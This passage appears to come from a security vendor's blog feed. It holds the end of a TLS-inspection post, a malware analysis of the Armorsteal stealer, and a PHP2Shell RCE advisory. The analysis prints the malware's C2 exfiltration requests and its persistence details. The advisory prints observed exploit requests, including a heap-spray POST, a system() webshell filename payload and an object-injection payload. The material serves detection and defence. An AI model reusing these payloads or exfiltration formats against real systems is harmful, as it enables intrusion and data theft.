sometimes with their own certificate trust stores.Containers and microservices relying on certificate bundles included when their images were originally built.Legacy enterprise applications that require extensive testing and change-management approvals before being updated.IoT devices, industrial systems, and network appliances with limited or infrequent software update capabilities.Background services and automated workloads that communicate with external APIs without any browser involvement.Many of these clients rely on operating system or application-specific trust stores that may be updated infrequently. Others do not consistently check certificate revocation information or enforce Certificate Transparency requirements.This creates an uncomfortable security asymmetry.A browser vendor can rapidly distribute a decision to distrust a compromised CA to millions of users. An enterprise security team, meanwhile, may need to identify hundreds of affected applications, determine which cryptographic libraries and trust stores they use, obtain updated packages, rebuild container images, validate application compatibility, and schedule deployments.During this process, applications that continue to trust the affected CA may remain vulnerable to fraudulent certificates.The eMudhra incident demonstrates that the speed at which an organization can respond to compromised certificate trust is itself a critical security capability. TLS inspection: More than visibility into encrypted threatsTLS inspection is frequently discussed in the context of detecting malware, preventing data exfiltration, and applying security policies to encrypted traffic.Those are important capabilities. But TLS inspection also provides another security benefit that receives considerably less attention: centralized enforcement of cryptographic standards and certificate trust decisions.When an application connects directly to an HTTPS server, it is responsible for validating the server's certificate. That validation depends on the application's cryptographic libraries, trusted CA certificates, revocation mechanisms, and local configuration.With TLS inspection, the trust relationship changes.Instead of establishing a single end-to-end TLS connection, the inspecting security service establishes two independently authenticated TLS connections:Between the enterprise application and the security service. The application authenticates the inspecting proxy using a certificate issued by a CA trusted by the enterprise.Between the security service and the destination server. The security service independently validates the destination's certificate against its own managed trust policy before allowing the connection.The enterprise application no longer needs to rely exclusively on its potentially outdated certificate trust store to determine whether the remote server is trustworthy. That decision can be enforced by a centrally managed security infrastructure.Consider an application whose certificate trust store has not yet been updated following the eMudhra incident. If it establishes a direct connection to a malicious server presenting a forged certificate signed by one of the compromised intermediates, the application might accept that certificate as valid.Now consider the same application connecting through a TLS-inspecting security service that has already distrusted the compromised CA. The security service rejects the fraudulent certificate and blocks the connection, even though the application itself might have accepted it.The application's outdated trust configuration is no longer the only line of defense. How Zscaler Internet Access helps close the gapZscaler Internet AccessTM (ZIATM) delivers TLS inspection through a globally distributed cloud security infrastructure, enabling organizations to apply consistent security policies to encrypted Internet traffic without depending entirely on security controls within individual applications.Following the discovery of the eMudhra incident, Zscaler updated certificate trust stores across its global proxy infrastructure to reject certificates associated with the compromised CAs.For customers using ZIA TLS inspection, with the Untrusted Server Certificates policy configured to Block, this provides protection against attempts to establish connections using certificates issued through those compromised keys.The protection is particularly valuable for organizations with complex application environments.An enterprise does not need to wait until every application has received an updated trust bundle before benefiting from the centrally enforced distrust decision. Applications whose traffic is inspected by ZIA can inherit that protection, even when their local certificate validation configurations have not yet been updated.Importantly, the benefit is not limited to this specific incident.Certificate authorities can be compromised, private keys can be exposed, issuance processes can fail, and vulnerabilities in PKI implementations can be discovered. Responding to these events requires organizations to update their trust decisions quickly.A centrally managed inspection infrastructure provides an additional point at which those decisions can be enforced. Once the service has incorporated the necessary certificate distrust information, that protection can extend across inspected applications without requiring individual updates to each client.This does not eliminate the need for incident response. It changes the scale of the remediation challenge, allowing security teams to reduce immediate exposure while they coordinate the more complex process of updating their application estates. Making TLS inspection an effective enterprise security controlRealizing these benefits requires more than simply routing traffic through a cloud security service.First, organizations should aim for comprehensive TLS inspection coverage across their enterprise application environments, not just employee web browsing. Modern enterprises generate substantial volumes of encrypted traffic through background services, API clients, automated workloads, and applications running outside traditional browsers. These connections are just as dependent on PKI trust as interactive browsing sessions.Second, certificate validation policies must be configured to enforce meaningful security decisions. In ZIA, configuring the handling of untrusted server certificates to Block ensures that certificate validation failures result in connections being rejected rather than permitted.Third, organizations must ensure that applications trust the certificates used by their enterprise TLS inspection infrastructure.While browsers typically use operating-system-managed trust stores, many enterprise applications maintain their own. Java runtimes, application frameworks, containerized workloads, and embedded software may therefore require additional configuration to trust the enterprise's inspection CA. This is a particularly important deployment consideration. Establishing consistent trust in the inspecting service enables applications to benefit from centrally managed certificate validation and other security controls.Finally, TLS inspection should complement rather than replace application and operating system updates.Organizations should continue to remove compromised trust anchors, update cryptographic libraries, and remediate vulnerable applications. Centrally managed TLS inspection is not a substitute for maintaining healthy PKI configurations throughout the enterprise.Instead, it provides a valuable security safety net, reducing the urgency of having to update every affected client simultaneously and giving overstretched security teams additional time to deploy durable fixes. Security requires the ability to change trust quicklyThe eMudhra incident is an important reminder that trust in the public PKI ecosystem is neither static nor infallible.Even well-established certificate authorities can experience cryptographic failures with consequences far beyond their own infrastructure.Modern web browsers have developed sophisticated mechanisms to respond to such incidents rapidly. Unfortunately, the broader enterprise application ecosystem remains much more fragmented, with inconsistent certificate validation practices, disparate trust stores, and widely varying update capabilities.For CISOs and security architects, this raises an important strategic question: How quickly can your organization change whom its applications trust?If the answer depends on identifying, rebuilding, testing, and updating every affected application individually, a CA compromise can quickly become a major operational challenge.TLS inspection offers an additional layer of resilience.By centralizing certificate validation and enforcing updated trust decisions across encrypted connections, organizations can reduce their exposure to compromised certificate authorities while continuing the necessary work of updating individual systems.The value of TLS inspection therefore extends well beyond detecting malicious content or protecting sensitive data in transit.It is also about ensuring that when trust in the Internet's cryptographic infrastructure breaks, enterprise security does not have to wait for every application to catch up.

SEO Poisoning Campaign Delivers New Armorsteal Malware

Nashid P (Senior Threat Hunter) — Thu, 22 Oct 2026 16:10:15 GMT

IntroductionIn September 2026, Zscaler Threat Hunting identified an SEO poisoning campaign that used fake websites impersonating the Chocolatey package manager and the Microsoft Activation Scripts (MAS) tool to distribute a Python-based malware family we track as Armorsteal. The fake websites targeted users searching for Chocolatey or MAS software installation commands. Each lure page displayed a malicious PowerShell command that downloaded and executed the Armorsteal installer. The installer deployed a Python 3.11 runtime environment and three main components providing remote access, surveillance, and information stealing capabilities, with the Python code protected by Pyarmor.The remote access component communicates with a command-and-control (C2) server, downloads additional modules, and executes remote tasks. The surveillance component logs keystrokes, monitors the clipboard, captures screenshots, and displays fake cryptocurrency wallet notifications. The information stealing component targets browser data, Discord tokens, cryptocurrency wallets, seed phrases, saved passwords, SSH keys, and Steam data.In this blog post, the Zscaler Threat Hunting team traces the campaign from poisoned search results through post-infection activity, including Armorsteal's components, C2 communication, and infrastructure changes observed during our analysis. Key TakeawaysIn September 2026, the Zscaler Threat Hunting team identified an SEO poisoning campaign that distributed Armorsteal through websites impersonating Chocolatey and the Microsoft Activation Scripts (MAS) tool.The SEO campaign targeted users searching for Chocolatey installation instructions or Microsoft activation scripts.The remote access component verifies RSA-2048 signatures on Python tasks received from the C2 server before executing them.The surveillance component records window titles, logs keystrokes, monitors copied cryptocurrency wallet addresses, and captures screenshots when configured keywords are detected.The information stealing component steals Discord tokens, browser cookies, saved passwords, cryptocurrency wallet data, BIP39 seed phrases, and SSH keys. Technical AnalysisThe following sections provide details about the malware distribution, capabilities, and network communications.SEO poisoningZscaler Threat Hunting identified two SEO poisoning lures that targeted users searching for Windows software installation instructions. One of those lures is shown in the figure below.Figure 1: Google search results for “chocolatey install windows”. Fake Chocolatey websiteThe first lure (seen in Figure 1) targets users looking for the Chocolatey package manager. A user searching for terms such as “install Chocolatey” and “Chocolatey PowerShell” may reach a typosquatted site impersonating chocolatey[.]org. The site displays a PowerShell installation command. When the user runs it, the malicious install.ps1 script downloads and installs the remote access module. The script also runs the legitimate Chocolatey installer, so Chocolatey appears to function as expected. The fake Chocolatey website and the malicious domain, choclatey[.]org, are shown below:Figure 2: Fake Chocolatey website distributing Armorsteal. Fake Massgrave websiteThe second lure targeted users searching for terms such as “Microsoft Activation Scripts,” “MAS activation script,” or “Massgrave activation”. These users may have reached massgravel[.]net, a malicious website impersonating the Microsoft Activation Scripts tool (a.k.a., the Massgrave project). The fake Massgrave website is shown in the figure below:Figure 3: Fake Massgrave website distributing Armorsteal.Although the two websites impersonate different projects and target different search queries, both deliver Armorsteal.ANALYST NOTE: The fake Massgrave website went down on September 25, 2026, and the fake Chocolatey website went down around October 1, 2026. Installation and persistenceBoth installer variants request elevated privileges, hide the PowerShell console window, and download a ZIP archive to C:\Windows\SystemHealth\Update\ to mimic a legitimate Windows system directory. The archive contains a Python 3.11 runtime, Pyarmor runtime files, and Armorsteal Python-based scripts.The installer creates the following scheduled tasks for persistence:Scheduled taskTriggerDescriptionSysCheck2User logonLaunches the remote access module with the highest privileges available.SysCheckXSystem bootLaunches the remote access module as SYSTEM after a 45-second delay.Table 1: Armorsteal scheduled task persistence.Anti-analysis techniquesArmorsteal uses the following techniques to avoid research environments and complicate analysis:The remote access module checks the public IP address and organization information using ipinfo[.]io. If the organization name returned matches a cloud provider such as Google, Amazon, Microsoft, or Azure, the module displays a fake “Memory is insufficient” message and exits. This can prevent the malware from running in some cloud-based analysis environments.The Python scripts are protected with Pyarmor 9.1.7 (trial version). Pyarmor encrypts Python bytecode and string constants, making static analysis and detection more difficult. The trial runtime is operationally useful to the threat actor because it provides code obfuscation without requiring a commercial Pyarmor license.Remote access moduleThe Armorsteal remote access module is stored as SysMon.py and is launched by the SysCheck2 and SysCheckX scheduled tasks. The module collects information about the infected system, including the hostname, operating system, processor, memory, disks, local IP address, public IP address, and network interfaces. It uses the motherboard serial number to create a machine identifier used in C2 communication.The remote access module also downloads and launches the surveillance and information stealing modules. The remote access module uses HTTPS and a hardcoded list of four C2 domains. It checks the availability of each domain before starting C2 communication. The C2 endpoints supported by the remote access module are shown in the table below:EndpointMethodDescription/downloadables/configf.jsonGETChecks whether the C2 server is available based on the HTTP status code 200./receive_infofPOSTSends device information to the C2 server./get-onetime-code/{machine_id}GETRequests a task for an individual victim./get-globalGETRequests a task shared across all infected systems./downloadables/{archive}GETIn earlier builds, downloads the remote access module updates along with the surveillance and information stealing modules.Table 2: The remote access module C2 endpoints.The following example shows the format of the HTTP POST request the remote access module uses to send system information to its C2 server. POST /receive_infof HTTP/1.1 Host: workerstats[.]net User-Agent: python-requests/2.31.0 Content-Type: application/json Content-Length: {CONTENT_LENGTH} { "host_name": "{HOSTNAME}", "ip_address": "{LOCAL_IP}", "public_ip_address": "{PUBLIC_IP}", "mac_address": "{MAC_ADDRESS}", "system": "{WINDOWS_VERSION}", "machine": "{MACHINE_ARCHITECTURE}", "memory": { "total": {TOTAL_MEMORY_SIZE}, "available": {AVAILABLE_MEMORY_SIZE}, "percent": {MEMORY_PERCENTAGE} } }The C2 server responds with the following message:{"message":"Data received and stored successfully"}The remote access module polls its C2 server every 60 seconds for both per-victim and global tasks. The malware verifies every task received using an embedded RSA-2048 public key before executing it. The per-victim task endpoint returns JSON containing Python code and a Base64-encoded signature, as shown in the format below:{ "code": "", "sig": "" }The global task endpoint returns a different response containing the # _ _SIGNED _ _: marker followed by the task data:# _ _SIGNED_ _:{"code":"aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNz...", "sig":"fdWOAiJJ7qIowDnCEgO4LDd+s19RzzBjnKFQ9K447GXj..."}The remote access module uses a custom RSASSA-PKCS1-v1_5 signature verification routine before executing the task’s code in memory. After verifying a task's signature, it extracts an integer version number embedded in the Python code: ONETIME_VERSION for per-victim tasks and GLOBAL_VERSION for global tasks. The module compares this task version number with the last successfully executed version stored locally in its working directory, C:\Windows\SystemHealth\Update\. Task version numbers specific to a victim are stored in onetime_version.txt and global task versions are recorded in global_version.txt. The malware executes a task in memory only when its version is greater than the value in the corresponding file. The version number is then updated in the corresponding file. This prevents previously processed or older tasks from running again.The Armorsteal remote access module can also update itself through global tasks. These tasks can direct the malware to download a replacement SysMon.py file. The module first verifies the SHA256 of the downloaded file before replacing its local copy. This capability allows the threat actor to update the malware's embedded C2 domain list and configuration.Surveillance moduleThe surveillance component is named basrq.py and runs in a separate bundled Python interpreter in a ZIP archive, which is downloaded by the remote access module.The surveillance module performs the following activities:Logs keystrokes (with specialized handling for English, French, Spanish, and German), including backspace, space, decimal separators, and modifier keys.Records the title of the active window along with captured keystrokes.Monitors clipboard content every 0.5 seconds.Replaces copied cryptocurrency wallet addresses with attacker-controlled addresses.Captures screenshots when configured keywords appear in window titles or captured keystrokes.Displays fake transaction notifications that impersonate Exodus, MetaMask, and Phantom.The clipboard hijacker supports wallet addresses for Bitcoin, Litecoin, Monero, Ethereum, TRON, XRP, Dogecoin, TON, and Solana.The Armorsteal surveillance module uses the following C2 endpoints to retrieve monitoring keywords and upload collected data.EndpointMethodDescription/global_keywordsGETRetrieves campaign-wide monitoring keywords./keywords/{machine_id}GETRetrieves keywords for a specific infected system./black-watch/{machine_id}POSTUploads gzip-compressed keystroke logs./black-watch/screenshot/{machine_id}POSTUploads keyword-triggered screenshots.Table 3: The Armorsteal surveillance module C2 endpoints.The module retrieves keyword lists every 300 seconds. The observed lists include terms related to cryptocurrency wallets, exchanges, browser names, cloud services, and recovery phrase-related terms. Before uploading screenshots to /black-watch/screenshot/{machine_id}, the surveillance module encrypts their raw PNG bytes. The module computes the SHA256 digest of a hardcoded string and uses the resulting 32-byte value (c1146fbcaa433385839c25839a61cd7fedaff858cc0d3fd063dba68db2cf31b4) as an XOR key.The following example shows the Armorsteal surveillance module uploading the stolen data using the filename keylogs.gz:POST /black-watch/{machine_id} HTTP/1.1 Host: workerstats[.]net Content-Type: multipart/form-data Content-Disposition: form-data; name="keylogs"; filename="keylogs.gz" Stealer moduleThe information stealing module’s script name is got.py, which is downloaded as a ZIP archive by the remote access module. This module collects data from web browsers, password managers, cryptocurrency wallets, Discord clients, and Steam installations. The stealer also collects system information, including geolocation, display information, language settings, time zone, and GPU details.The stealer module has the following capabilities:Steals and validates Discord tokens from 22 Discord client variants.Collects data from 21 browser wallet extensions and desktop wallet applications.Searches drives from A: through Z: for BIP39 seed phrases.Extracts browser cookies through the Chrome DevTools Protocol (CDP) on port 9222.Steals saved browser passwords, autofill data, and credit card metadata. To collect browser passwords, the module downloads and uses the public chrome-decryptor tool from the Chrome App-Bound Encryption Decryption project.Targets password manager data from KeePass, 1Password, RoboForm, Password Safe, Enpass, Bitwarden, and Dashlane.Collects SSH keys and Steam session data.The Armorsteal stealer module uses the following C2 endpoints to upload stolen data: EndpointMethodDescription/infame/receive/zipPOSTUploads the main stolen data archive./infame/receive/dtPOSTUploads Discord tokens and account information./ws/{machine_id}POSTUploads wallet files and seed phrases./pwdPOSTUploads saved browser passwords./upload/stPOSTUploads Steam account information.Table 4: Armorsteal stealer module C2 endpoints.The main information stealing component archive contains a system profile and browser cookie files. Threat Actor InfrastructureZscaler Threat Hunting identified Armorsteal lure and C2 domains registered on the dates shown in the table below. Shared malware components and an RSA-2048 task-signing key link the Chocolatey and Massgrave lures to the same operation.DomainPurposeRegistration DateRegistrarworkerstats[.]netPrimary C2January 28, 2026NICENICdatamons[.]orgStandby C2May 19, 2026NameSilosupertrap[.]netStandby C2August 29, 2026NameSilomassgravel[.]netFake Massgrave lureAugust 30, 2026NICENICchoclatey[.]orgFake Chocolatey lureSeptember 1, 2026Key-Systemsniceer[.]netStandby C2September 1, 2026NICENICTable 5: Armorsteal lure and C2 domain registration details.Zscaler Threat Hunting observed two phases of the campaign’s infrastructure changes during the analysis period. In the first phase (early September 2026), the fake Chocolatey website and its subdomains were hosted at 209.99.186[.]187, an SKN Subnet & Telecom server. At this time, workerstats[.]net was protected by Cloudflare and resolved to 104.21.87[.]146.In mid-September 2026, the operator moved the Chocolatey and Massgrave lure websites to 82.153.135[.]80, hosted by AKILE LTD in the United Kingdom. The primary C2 domain, workerstats[.]net, also moved from Cloudflare to 186.2.175[.]183, hosted by IQWeb FZ-LLC and using DDoS-Guard name servers.During continued monitoring (early October 2026), Zscaler Threat Hunting observed further changes to Armorsteal’s C2 infrastructure. The previously used domain, workerstats[.]net, became unavailable, and the threat actor began using pymons[.]is and the previously dormant domain datamons[.]org as C2 servers. The threat actor subsequently changed how the surveillance and information stealing modules were downloaded. Previously accessible through the C2 server’s /downloadables/ path, the packages now require a token in the request URL and an X-Verify header containing the correct token. Requests use /C2/?t=[token]451 for surveillance and /C2/?t=[token]452 for information stealing. Successful requests retrieve ZIP packages from /p/[32hex].zip, with randomized filenames. Remediations And Detection OpportunitiesFor organizations that suspect exposure to this campaign, we recommend the following actions:Investigate systems for SysCheck2 and SysCheckX scheduled tasks.Hunt for files and directories under C:\Windows\SystemHealth\Update\.Review PowerShell logs for downloads from choclatey[.]org, community[.]choclatey[.]org, and massgravel[.]net.Block the verified malicious lures and C2 domains.Review outbound HTTPS traffic for /receive_infof, /get-global, /black-watch/, and /infame/receive/ where URL paths are visible in your telemetry.Review endpoint telemetry for browser processes started with --remote-debugging-port=9222.Remove unauthorized Microsoft Defender exclusions, particularly exclusions for C:\Windows.Educate users to verify software download websites and PowerShell installation commands before execution. ConclusionArmorsteal is a Python-based malware family distributed through an active SEO poisoning campaign that uses fake Chocolatey and Massgrave websites. The campaign deploys modules for remote access, cryptocurrency theft, clipboard hijacking, and credential stealing. The shared malware components, task-signing key, and C2 infrastructure link both lures to the same operation. Although the operator changed hosting and package filenames during our analysis, the core malware components remained unchanged. The Zscaler Threat Hunting team continues to monitor the campaign for infrastructure and payload changes. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to Armorsteal at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for Armorsteal.Figure 4: Zscaler Cloud Sandbox report for Armorsteal.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Armorsteal at various levels with the following threat names:PS.Dropper.ArmorstealPython.PWS.ArmorstealZscaler MDR detects this threat with these detection analytics:WIN-CONHOST-HEADLESS-CMDWIN-SCHTASKS-CREATE-SHELLWIN-PYTHON-CHROMIUM-HEADLESS Indicators Of Compromise (IOCs)File indicatorsSHA256FilenameDescriptionf3846ec2a6ff0a27d9ef2b9bf7908743b81d295ef29344acfb96ff83fff994f9install.ps1MAS lure installerfb1181160e9f10ce1eb5e5dc9bc23e1498a39110ee9ea361fd150454cb01b292install.ps1Chocolatey lure installer3e3b62a9836697d978cbb620dc8af8f6eefdf8cb73fc30d16bb394d1c58f4c97Update.zip / Updatef.zipRemote access module237ba698d7dc8936c43e0e78e7644002375e51e8baf9b3a7d4e18683f871ee31nig20084.zipSurveillance modulebe0329d0795dd62ae587faf97e704bb36413e5c98ddd8fe575f5077db3c84e5fgetthem20084.zipStealer module 04d2828155ed2a276cfd3c97d4f966d328391dd818e04e773212cd601e49fa74nig20083.zipOlder stealer module56f05c4fb1c25c04e0dde60e2e5e41ac164a6dc53688d0f9eb52a55f82106389getthem20083.zipOlder stealer module0ea99fbbe29af6f797e3866ed5f822c7a5d3e9cdb990a8c382a715069f156499SysMon.pyRemote access module8fb7aaf2b9270b8b75f6844aaefd5242b4f926fb89cba10fff3d9b908a769788basrq.pySurveillance module5410c2f239c3649928383c4478dea182f90b21f5b258081fec07e9d297ae4b1cgot.pyStealer moduleNetwork indicatorsIndicatorTypechoclatey[.]orgFake Chocolatey domainmassgravel[.]netFake MAS domainworkerstats[.]netC2 domainpymons[.]isC2 domaindatamons[.]orgInitially standby C2; later activeniceer[.]netsupertrap[.]netStandby C282[.]153[.]135[.]80Payload host186[.]2[.]175[.]183C2 IP address186[.]2[.]163[.]185C2 IP address190[.]115[.]31[.]69C2 IP address209[.]99[.]186[.]187Payload host

CVE-2026-109618 and CVE-2026-109619: PHP Vulnerable to Unauthenticated RCE Attacks

Jithin Prajeev Nair (Director, Threat Research) — Wed, 21 Oct 2026 22:21:54 GMT

*October 26, 2026: This advisory has been updated to clarify language describing exploitability and potential impact.*October 23, 2026: This advisory has been updated with new ThreatLabz analysis and Zscaler Deception telemetry on exploitation activity observed during the first 48 hours following disclosure.IntroductionOn October 21, 2026, two critical remote code execution (RCE) vulnerabilities, CVE-2026-109618 and CVE-2026-109619, collectively referred to as “PHP2Shell,” were publicly disclosed. Both vulnerabilities carry a CVSS v4.0 score of 9.2 out of 10. The PHP security team has released emergency patches and strongly encouraged all PHP users to update immediately. These flaws reside in the PHP core language runtime and successful exploitation could allow an unauthenticated remote attacker to achieve remote code execution on any server running a vulnerable version, potentially enabling unauthorized access, data theft, or further system compromise. Given PHP's pervasive deployment across web infrastructure globally - including applications like WordPress, Drupal, Joomla, and Magento, as well as embedded devices and similarly overlooked public-facing platforms - the potential attack surface is significant. The vulnerabilities could enable automated exploitation of exposed, vulnerable PHP deployments without authentication or user interaction. The vulnerabilities therefore may be attractive targets for exploitation.ThreatLabz analysis indicates that attackers began rapidly targeting these vulnerabilities following public disclosure, highlighting the need for organizations to patch vulnerable PHP deployments immediately.Zscaler’s security team has analyzed this issue across both production and corporate environments and has ruled out any impact to Zscaler Cloud Platforms, products, distributed components, services, or our enterprise environment, as detailed in the Trust post.For more on PHP2Shell and its implications for enterprise security, watch our webinar with EVP, Cybersecurity Deepen Desai and Director of Threat Research Jithin Nair. RecommendationsOrganizations running PHP should take the following actions:Patch immediately: Upgrade PHP to one of the fixed versions: 8.5.12, 8.4.27, 8.3.36, or 8.2.35. Linux package maintainers received patches in advance and may already have updated packages available. PHP packages for most Linux distributions may also include the patches backported to previous versions of the software, so consult the release notes for your specific installation to ensure your systems are covered.Deactivate unpatched instances: Consider fully disabling services for any PHP instance that cannot be immediately patched. While this may seem overly cautious, any unpatched instance could be targeted by opportunistic adversaries and result in shell-level access to the vulnerable host. Inventory PHP deployments: Conduct an immediate inventory of all PHP installations across your environment, including standalone servers, vendor appliances, bundled software (WordPress, Magento, WooCommerce, Shopware), and hosting panels (cPanel, Plesk, etc).Migrate off EOL branches: Organizations running PHP 5.4+, 7.x, 8.0, or 8.1 must migrate to a supported branch immediately. No official binary patches will be released for these versions.Isolate EOL instances that cannot be immediately migrated: Migrating EOL instances is strongly recommended. If this is not possible, isolating unpatchable applications from the internet and other untrusted networks may provide some level of protection. This should be considered a high-risk mitigation and reserved only for business and mission-critical applications while implementing aggressive monitoring of these instances.Monitor for exploitation: Audit web server logs (including but not limited to Apache, Nginx, etc.) for unusual segmentation faults, crash dumps, or abnormal memory usage patterns that may indicate active exploitation attempts.Mitigate risk through PHP settings: While not a definitive fix, mission critical applications that cannot be disabled or immediately patched may benefit from reviewing and tightening memory_limit and max_execution_time settings in php.ini to avoid triggering OOM conditions. Consult additional guidance regarding mitigations through setting session.upload_progress.enabled = Off and disabling multipart uploads at the service edge. ThreatLabz Observes Exploitation Attempts Within 48 HoursThreatLabz observed scanning activity and possible exploitation attempts targeting the PHP2Shell vulnerabilities using multiple attack tools and exploitation methods, including RCE payloads, PHP object injection, and named exploitation frameworks, indicating rapid, in-the-wild exploitation attempts.In the first 48 hours after the PHP2Shell disclosure, Zscaler’s global decoy mesh observed 1,156 exploitation attempts from 156 unique attacker IPs targeting 70 organizations. As a rapid response measure, a new detection rule for PHP2Shell exploitation has been pushed to all Zscaler Deception customers.Attack chainAutomated scanning activity observed by Zscaler suggests attackers may be attempting to use a two-stage PHP2Shell exploitation chain, as shown in the figure below.Figure 1: Notional exploit chain consistent with scanning and exploit attempts observed by ThreatLabz.Stage 1: State setup and fatal triggerThe attacker sends a crafted multipart/form-data POST request containing:A PHPSESSID field to associate the request with a known session, making the session filename (sess_[PHPSESSID]) predictable.The PHP_SESSION_UPLOAD_PROGRESS field to force PHP to begin session bookkeeping during multipart parsing, populating vulnerable global state pointers and writing attacker-controlled data into the session file.A file attachment whose filename= parameter contains either PHP code or a serialized object string.A body sized or structured to exhaust memory (CVE-2026-109618) or trigger a fatal error (CVE-2026-109619).When the fatal condition is triggered, longjmp() aborts the request, freeing per-request memory but leaving stale global pointers.Stage 2: Heap reclaim and code executionThe attacker immediately sends a second request to the same worker process. This second request contains the attacker's payload, sized and aligned to reclaim the freed memory slots. When PHP processes the new request and references the stale global state before re-initialization occurs, it reads and executes the attacker-controlled data, achieving arbitrary code execution with the privileges of the PHP worker process.Zscaler Deception telemetry findingsThreatLabz observed malicious POST requests targeting the PHP2Shell exploitation path across multiple tools and stages of the attack chain. Every observed request is a multipart/form-data POST targeting PHP endpoints, specifically /, /index.php, /api/endpoint.php, and /app/upload.php.Exploitation payloads observed1. ShellFlow PHP2Shell named exploit toolThe most forensically significant artifact is the presence of a multipart boundary string that explicitly names the exploitation tool. This indicator should not be considered durable, as an adversary can trivially replace the known strings with something less obvious. At this time, the ShellFlow tool uses a known boundary value, so it is a useful indicator for detecting the unmodified tool. The exploit tool request is shown below. POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----shellflow-php2shell ------shellflow-php2shell Content-Disposition: form-data; name="PHPSESSID" sf618_ec172709c8b74601 ------shellflow-php2shell Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" shellflow_poc ------shellflow-php2shell Content-Disposition: form-data; name="f"; filename="poc.bin" Content-Type: application/octet-stream AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...15485 bytes total...]The multipart boundary shellflow-php2shell identifies the attacking tool by name. The poc.bin file body contains more than 15k bytes of data along with a repeated AAAA... characters, a characteristic heap spray pattern used for memory layout control in the CVE-2026-109618 OOM corruption path.Notable characteristics:The boundary string shellflow-php2shell directly identifies the ShellFlow PHP2Shell attacking tool, which is publicly linked to CVE-2026-109618 scanning activity.The session ID sf618_ec172709c8b74601 contains sf618, possibly reflecting a developer’s shorthand reference to ShellFlow + CVE-2026-109618.The application/octet-stream upload with a repeating AAAAA... buffer is consistent with a heap spray technique used to influence the memory layout when the OOM condition is triggered.2. Active system() command execution payloadThese requests represent the strongest indication of automated exploitation attempts. The filename= field contains a fully formed PHP webshell instruction designed to be written into the PHP session file through the session.upload_progress handler and later executed, as shown in the example below.The filename= value [?php system('echo 'exploited digga' > pwned.txt');echo 'RCE';?] instructs the PHP runtime to:Execute the OS command echo 'exploited digga' > pwned.txt, writing a proof-of-compromise marker to disk.Echo the string RCE in the HTTP response body, providing an indication of successful code execution to the attacker. The RCE string may still be returned even if the preceding echo redirection fails.This payload pattern was observed in two separate requests with identical content, consistent with automated retry behavior commonly seen in exploit frameworks.3. PHP object injection via pipe delimiterThreatLabz also observed a PHP object injection request that abuses the session pipe delimiter, as shown in the example. The filename x|O:8:"stdClass":0:{} uses the PHP default session serialization format, where the | character separates a variable name from its serialized value.POST /app/upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=--NeoMM2026 --NeoMM2026 Content-Disposition: form-data; name="PHPSESSID" neosc4n00000000000000002 --NeoMM2026 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" neo_obj_inject --NeoMM2026 Content-Disposition: form-data; name="f"; filename="x|O:8:\"stdClass\":0:{}" Content-Type: text/plain Z --NeoMM2026--Overall attack tool fingerprinting summaryThreatLabz identified multiple distinct attacker toolsets through analysis of numerous requests in our telemetry, as summarized in the table below:Tool / FrameworkIdentifying MarkersShellFlow PHP2ShellBoundary shellflow-php2shell; session ID prefix sf618; poc.bin heap sprayActive RCE OperatorBoundary --VERIFY; system() payload in filename=; pwned.txt writeNuclei CVE TemplatesBoundary prefix ------Nuclei; echo-test random token in filenameNeo ScannerBoundary --NeoMM2026b / --NeoMM2026; targets /api/endpoint.php, /app/upload.phpTable 1: Attacker tools and identifying markers observed in PHP2Shell exploitation activity. Affected VersionsAll PHP versions from 5.4 onward are vulnerable. Only currently supported branches received patches, but package maintainers may also backport the security patches to previous versions. Carefully review the instructions and release notes from the maintainers of your PHP installations to determine what version and release includes the necessary patch.PHP BranchVulnerable VersionsPatch AvailablePHP 8.58.5.0 – 8.5.11Yes (8.5.12)PHP 8.48.4.0 – 8.4.26Yes (8.4.27)PHP 8.38.3.0 – 8.3.35Yes (8.3.36)PHP 8.28.2.0 – 8.2.34Yes (8.2.35)PHP 8.1All versions (EOL)No (EOL — upgrade required)PHP 8.0All versions (EOL)No (EOL — upgrade required)PHP 7.xAll versions (EOL)No (EOL — upgrade required)PHP 5.4+All versions (EOL)No (EOL — upgrade required)Table 2: CVE-2026-109618 and CVE-2026-109619 Affected PHP Versions and Patch Availability How It WorksBoth vulnerabilities are use-after-free memory safety flaws in PHP's core request-handling engine. All PHP installations serving web requests may be affected regardless of security controls. The vulnerabilities can allow unauthenticated attackers to execute code on affected servers or read sensitive process memory; that memory may contain passwords, authentication tokens, API keys and certificates belonging to other requests or the server itself.CVE-2026-109618: OOM Corruption / Uninitialized Memory UseCVSS v4.0: 9.2 - CriticalRoot Cause: PHP uses longjmp() to abort a request when it hits its configured memory limit. When a web application receives form input, PHP records new entries in its internal POST data structure before finishing their initialization. If an out-of-memory (OOM) error fires while internal request data is only partially initialized, longjmp() bypasses normal control flow, leaving memory in an inconsistent/uninitialized state. During request cleanup, PHP misinterprets this invalid data as valid and follows an attacker-controlled code pointer, yielding control of execution.Exploit Vector: An attacker can intentionally trigger specific OOM conditions (e.g., via large memory allocations, deeply recursive calls, or maliciously crafted request payloads) to corrupt state and achieve unauthenticated RCE.Impact: Unauthenticated Remote Code ExecutionCVE-2026-109619: Use-After-Free / Stale Memory AccessCVSS v4.0: 9.2 - CriticalRoot Cause: When PHP encounters a fatal error and calls zend_bailout() (via longjmp()), request-owned internal state can survive in global memory after its backing allocation has been freed. PHP workers process multiple requests in sequence, and certain internal pointers persist between requests. If a request crashes or exhausts memory at the right moment, those pointers are left pointing to already-recycled memory. A subsequent request processed by the same worker may access this stale memory before re-initialization occurs.Exploit Vector: This vulnerability is chainable with CVE-2026-109618. The partial initialization in CVE-2026-109618 allows an attacker to shape the freed memory contents and gain control of the instruction pointer, potentially enabling RCE. Chaining these two CVEs requires no authentication and no user interaction.Impact: Unauthenticated Remote Code Execution and memory/credential disclosure ConclusionPHP2Shell represents a significant security issue because of the severity of the vulnerabilities and PHP’s broad deployment. The combination of CVE-2026-109618 and CVE-2026-109619 could provide an unauthenticated path to RCE and potentially broader server compromise without user interaction.Organizations are strongly urged to treat this as an emergency patching event. Systems running EOL PHP branches must be migrated without delay. Where patching cannot be completed immediately, network-layer controls should be applied as an interim measure.ThreatLabz will continue to monitor 